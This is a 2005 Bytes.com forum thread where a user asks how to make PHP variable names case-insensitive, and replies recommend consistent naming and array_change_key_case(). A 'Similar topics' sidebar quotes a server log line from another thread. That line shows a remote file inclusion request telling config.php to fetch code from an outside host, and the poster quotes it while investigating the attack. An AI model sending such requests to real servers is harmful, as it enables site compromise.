473,804 Members | 2,249 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

php: case-INsensitive variables?

Is there a way to configure PHP to use case-insensitive variable names?
I'd like to do this...

$dbVars = pg_query( $connection, "SELECT columnName1, columnName2,
columnName3 FROM table WHERE id=1" );
$dbVars = pg_fetch_array( $dbVars );
extract( $dbVars[0] );
echo( $columnName1 );

PostgreSQL (and MySQL, to the best of my knowledge) are
case-insensitive, so selecting columnName1 will return columnname1. In
my last project, a 60-table, year-long event, this was just a constant,
numbing (yet minor) source of frustration, and I'd like to avoid it
this next time.

My other option is to use PostgreSQL in a case-sensitive mode, but
there's no switch to just "turn on"; it requires another level of
annoying syntax within the queries, and tweaking PHP seems like a much
better solution.

(apparently PHP2 was case-insensitive, so I hope there's an INI tweak
that will restore this someplace)

Jul 17 '05 #1
3 3590
*** co*****@automat ictaxistop.com escribió/wrote (17 Feb 2005 11:58:19
-0800):
PostgreSQL (and MySQL, to the best of my knowledge) are
case-insensitive, so selecting columnName1 will return columnname1.


I can't speak for Postgre but MySQL returns column names using the exact
case you specified.

In any case, I think typing variable names always the same is a good
programming practice that makes code cleaner. Among other things, it
prevents problems like the one you're facing ;-)
--
-+ Álvaro G. Vicario - Burgos, Spain
+- http://www.demogracia.com (la web de humor barnizada para la intemperie)
++ Manda tus dudas al grupo, no a mi buzón
-+ Send your questions to the group, not to my mailbox
--
Jul 17 '05 #2
<co*****@automa tictaxistop.com > wrote in message
news:11******** **************@ c13g2000cwb.goo glegroups.com.. .
(apparently PHP2 was case-insensitive, so I hope there's an INI tweak
that will restore this someplace)


As far as I know it cannot be done without tweaking the source code. It'd
easier to stick with lowercase-only variable names, then pass the array
through array_change_ke y_case() before the extraction.
Jul 17 '05 #3
Alvaro G. Vicario wrote:
*** co*****@automat ictaxistop.com escribió/wrote (17 Feb 2005 11:58:19
-0800):
PostgreSQL (and MySQL, to the best of my knowledge) are
case-insensitive, so selecting columnName1 will return columnname1.

I can't speak for Postgre but MySQL returns column names using the exact
case you specified.

In any case, I think typing variable names always the same is a good
programming practice that makes code cleaner. Among other things, it
prevents problems like the one you're facing ;-)

MySQL column names are definately case sensitive. You need to pick a
variable/column naming approach that helps to prevent weird and
wonderful problems. I use totally lower case, but others may prefer
diffent methods. Just be consistent - avoids vast amounts of grief <g>
Jul 17 '05 #4

This thread has been closed and replies have been disabled. Please start a new discussion.

Similar topics

4
1968
by: comp.lang.tcl | last post by:
I wrote this PHP function in the hopes that it would properly use a TCL proc I wrote about 4 years ago: if (!function_exists('proper_case')) { /** * Ths function will convert a string into a proper case format using the customized TCL proc "PROPER_CASE" from the included TCL string tools libraries * * @access public
4
10631
by: Ignoramus6539 | last post by:
There were some strange requests to my server asking for config.php file (which I do not have in the requested location). I did some investigation. Seems to be a virus written in perl, exploiting a vulnerability in php code. The requests are like this 216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
2
1691
by: azmiza | last post by:
Hi friend, I am new in this area. Hope members can help me on my script below. I want to create Previous and Next button but it runs until maximum execution time. Help me <?php #script view_users.php pg 279 //This script retrieves all the records from the register table. //This new version allows the results to be sorted in different ways.
21
2477
nathj
by: nathj | last post by:
Hi, I am currently working on a new site that offers various files for download. The file information is stored in a MySQL database and the page is produced in PHP depending on how the user got to the page: <?php session_start(); $_SESSION = $_SESSION; // set to whatever is, as you can only access this page from within a top level section ?> <!--
10
1755
by: sickboy | last post by:
Hey everyone, I am working on a new site, ForceFedTV.com and I have gotten reports that the site runs great on mac, but once loaded on a pc, after clicking a few links then going back to the home button, they claim they get all black and nothing else. I am working with an index script that incorporates php to create something like frames. If someone can access the site and maybe even try and speculate on this, that would be great, ...
5
1566
by: sickboy | last post by:
hello, is it possible to do embedded links from a php script? Check out the code below, when I send the test case to the switch, it will not go to the embedded link #clarence2 Any thoughts? Thanks, Tim
0
3126
by: TechnoAtif | last post by:
<?php include "dbconnect.php"; include "commonFunc.php"; ?> <!----------------------------------> <table width="80%" border="1" cellpadding="2" cellspacing="0"> <tr > <td colspan="2"><p>
3
1954
by: Hazza | last post by:
Hi, I am using PHP and mysql to create a website. I am fairly new to PHP, and thus am grateful to anyone who helps! Firstly I am running a homepage, that displays additional content if a user has logged in. I set a loggedin session in the log in page, which I have tested and works fine in other scripts. I am displaying news on the homepage (which is stored in a mysql database), and this works fine when the user accesses the homepage...
1
4368
George Lft
by: George Lft | last post by:
ok, first of all, i built my register page using dreamweaver tool which the codes haven been out of control. Now i'm thinking that turning over everything - by using this another set of codes. And these new sets of codes have overwhelmed me a bit. Here's the new code: CREATE TABLE `users` ( `ID` int(11) NOT NULL auto_increment, `Username` varchar(255) NOT NULL, `Password` varchar(255) NOT NULL, `Temp_pass` varchar(55)...
1
7298
by: gnawz | last post by:
Hi guys, I have a couple of php files that perform various tasks. I will use fields in my system and provide code as well I need help as follows: My database contains the fields Category and Brand I need to make some changes on a a number of brands in a Category
0
9714
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, we’ll explore What is ONU, What Is Router, ONU & Router’s main usage, and What is the difference between ONU and Router. Let’s take a closer look ! Part I. Meaning of...
0
9594
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it. First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
1
10347
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
0
10090
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
1
7635
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules. He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms. Adolph will...
0
6863
by: conductexam | last post by:
I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and then checking html paragraph one by one. At the time of converting from word file to html my equations which are in the word document file was convert into image. Globals.ThisAddIn.Application.ActiveDocument.Select();...
0
5531
by: TSSRALBI | last post by:
Hello I'm a network technician in training and I need your help. I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs. The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols. I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
2
3832
muto222
by: muto222 | last post by:
How can i add a mobile payment intergratation into php mysql website.
3
3001
bsmnconsultancy
by: bsmnconsultancy | last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.